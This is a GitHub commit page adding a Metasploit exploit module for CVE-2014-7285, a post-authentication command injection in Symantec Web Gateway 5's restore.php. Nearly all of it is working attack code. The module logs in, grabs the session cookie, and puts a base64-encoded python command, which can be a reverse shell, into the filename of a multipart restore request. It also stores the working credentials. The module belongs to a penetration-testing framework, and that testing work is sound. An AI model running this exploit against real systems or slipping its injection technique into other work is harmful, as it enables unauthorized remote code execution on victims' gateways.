Skip to content

Commit ecd7ae9

Browse files
committed
Land rapid7#4857, symantec_web_gateway_restore module
2 parents 5f3ed83 + ad28f97 commit ecd7ae9

File tree

1 file changed

+243
-0
lines changed

1 file changed

+243
-0
lines changed
Lines changed: 243 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,243 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection",
16+
'Description' => %q{
17+
This module exploits a command injection vulnerability found in Symantec Web
18+
Gateway's setting restoration feature. The filename portion can be used to inject
19+
system commands into a syscall function, and gain control under the context of
20+
HTTP service.
21+
22+
For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user.
23+
However, for version 5.2.1, you must be an administrator.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Egidio Romano', # Original discovery & assist of MSF module
29+
'sinn3r'
30+
],
31+
'References' =>
32+
[
33+
[ 'CVE', '2014-7285' ],
34+
[ 'OSVDB', '116009' ],
35+
[ 'BID', '71620' ],
36+
[ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ],
37+
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00']
38+
],
39+
'Payload' =>
40+
{
41+
'Compat' =>
42+
{
43+
'PayloadType' => 'cmd',
44+
'RequiredCmd' => 'generic python'
45+
}
46+
},
47+
'DefaultOptions' => {
48+
'RPORT' => 443,
49+
'SSL' => true,
50+
'SSLVersion' => 'TLS1'
51+
},
52+
'Platform' => ['unix'],
53+
'Arch' => ARCH_CMD,
54+
'Targets' =>
55+
[
56+
['Symantec Web Gateway 5', {}]
57+
],
58+
'Privileged' => false,
59+
'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014)
60+
'DefaultTarget' => 0))
61+
62+
register_options(
63+
[
64+
OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']),
65+
OptString.new('USERNAME', [true, 'The username to login as']),
66+
OptString.new('PASSWORD', [true, 'The password for the username'])
67+
], self.class)
68+
end
69+
70+
def protocol
71+
ssl ? 'https' : 'http'
72+
end
73+
74+
def check
75+
uri = target_uri.path
76+
res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')})
77+
78+
if res && res.body.include?('Symantec Web Gateway')
79+
return Exploit::CheckCode::Detected
80+
end
81+
82+
Exploit::CheckCode::Safe
83+
end
84+
85+
def get_sid
86+
sid = ''
87+
88+
uri = target_uri.path
89+
res = send_request_cgi({
90+
'uri' => normalize_uri(uri, 'spywall/login.php'),
91+
'method' => 'GET',
92+
})
93+
94+
unless res
95+
fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID')
96+
end
97+
98+
cookies = res.get_cookies
99+
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
100+
101+
sid
102+
end
103+
104+
def login(sid)
105+
uri = target_uri.path
106+
res = send_request_cgi({
107+
'uri' => normalize_uri(uri, 'spywall/login.php'),
108+
'method' => 'POST',
109+
'cookie' => sid,
110+
'headers' => {
111+
'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}"
112+
},
113+
'vars_post' => {
114+
'USERNAME' => datastore['USERNAME'],
115+
'PASSWORD' => datastore['PASSWORD'],
116+
'loginBtn' => 'Login'
117+
}
118+
})
119+
120+
unless res
121+
fail_with(Failure::Unknown, 'Connection timed out while attempting to login')
122+
end
123+
124+
cookies = res.get_cookies
125+
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
126+
127+
if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank?
128+
# Successful login
129+
return sid
130+
else
131+
# Failed login
132+
fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
133+
end
134+
end
135+
136+
def build_payload
137+
# At of today (Feb 27 2015), there are only three payloads this module will support:
138+
# * cmd/unix/generic
139+
# * cmd/unix/reverse_python
140+
# * cmd/unix/reverse_python_ssl
141+
p = payload.encoded
142+
143+
case datastore['PAYLOAD']
144+
when /cmd\/unix\/generic/
145+
# Filter that one out, Mr. basename()
146+
p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))")
147+
p = "python -c \"exec('#{p}'.decode('base64'))\""
148+
else
149+
p = p.gsub(/python -c "exec/, 'python -c \\"exec')
150+
p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"")
151+
end
152+
153+
p
154+
end
155+
156+
def build_mime
157+
p = build_payload
158+
159+
data = Rex::MIME::Message.new
160+
data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"')
161+
data.add_part('maintenance', nil, nil, 'form-data; name="configuration"')
162+
data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""')
163+
data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"')
164+
data.add_part('', nil, nil, 'form-data; name="restore"')
165+
data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"")
166+
data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"')
167+
data.add_part('0', nil, nil, 'form-data; name="event_horizon"')
168+
data.add_part('0', nil, nil, 'form-data; name="max_events"')
169+
data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"')
170+
data.add_part('', nil, nil, 'form-data; name="testaddress"')
171+
data.add_part('', nil, nil, 'form-data; name="pingaddress"')
172+
data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"')
173+
data.add_part('', nil, nil, 'form-data; name="capture_filter"')
174+
175+
data
176+
end
177+
178+
def inject_exec(sid)
179+
uri = target_uri.path
180+
mime = build_mime # Payload inside
181+
send_request_cgi({
182+
'uri' => normalize_uri(uri, 'spywall/restore.php'),
183+
'method' => 'POST',
184+
'cookie' => sid,
185+
'data' => mime.to_s,
186+
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
187+
'headers' => {
188+
'Referer' => "#{protocol}://#{peer}#{normalize_uri(uri, 'spywall/mtceConfig.php')}"
189+
}
190+
})
191+
end
192+
193+
def save_cred(username, password)
194+
service_data = {
195+
address: rhost,
196+
port: rport,
197+
service_name: protocol,
198+
protocol: 'tcp',
199+
workspace_id: myworkspace_id
200+
}
201+
202+
credential_data = {
203+
module_fullname: self.fullname,
204+
origin_type: :service,
205+
username: username,
206+
private_data: password,
207+
private_type: :password
208+
}.merge(service_data)
209+
210+
credential_core = create_credential(credential_data)
211+
212+
login_data = {
213+
core: credential_core,
214+
last_attempted_at: DateTime.now,
215+
status: Metasploit::Model::Login::Status::SUCCESSFUL
216+
}.merge(service_data)
217+
218+
create_credential_login(login_data)
219+
end
220+
221+
def exploit
222+
print_status("Getting the PHPSESSID...")
223+
sid = get_sid
224+
if sid.blank?
225+
print_error("Failed to get the session ID. Cannot continue with the login.")
226+
return
227+
end
228+
229+
print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
230+
sid = login(sid)
231+
if sid.blank?
232+
print_error("Failed to get the session ID from the login process. Cannot continue with the injection.")
233+
return
234+
else
235+
# Good password, keep it
236+
save_cred(datastore['USERNAME'], datastore['PASSWORD'])
237+
end
238+
239+
print_status("Trying restore.php...")
240+
inject_exec(sid)
241+
end
242+
243+
end

0 commit comments

Comments
 (0)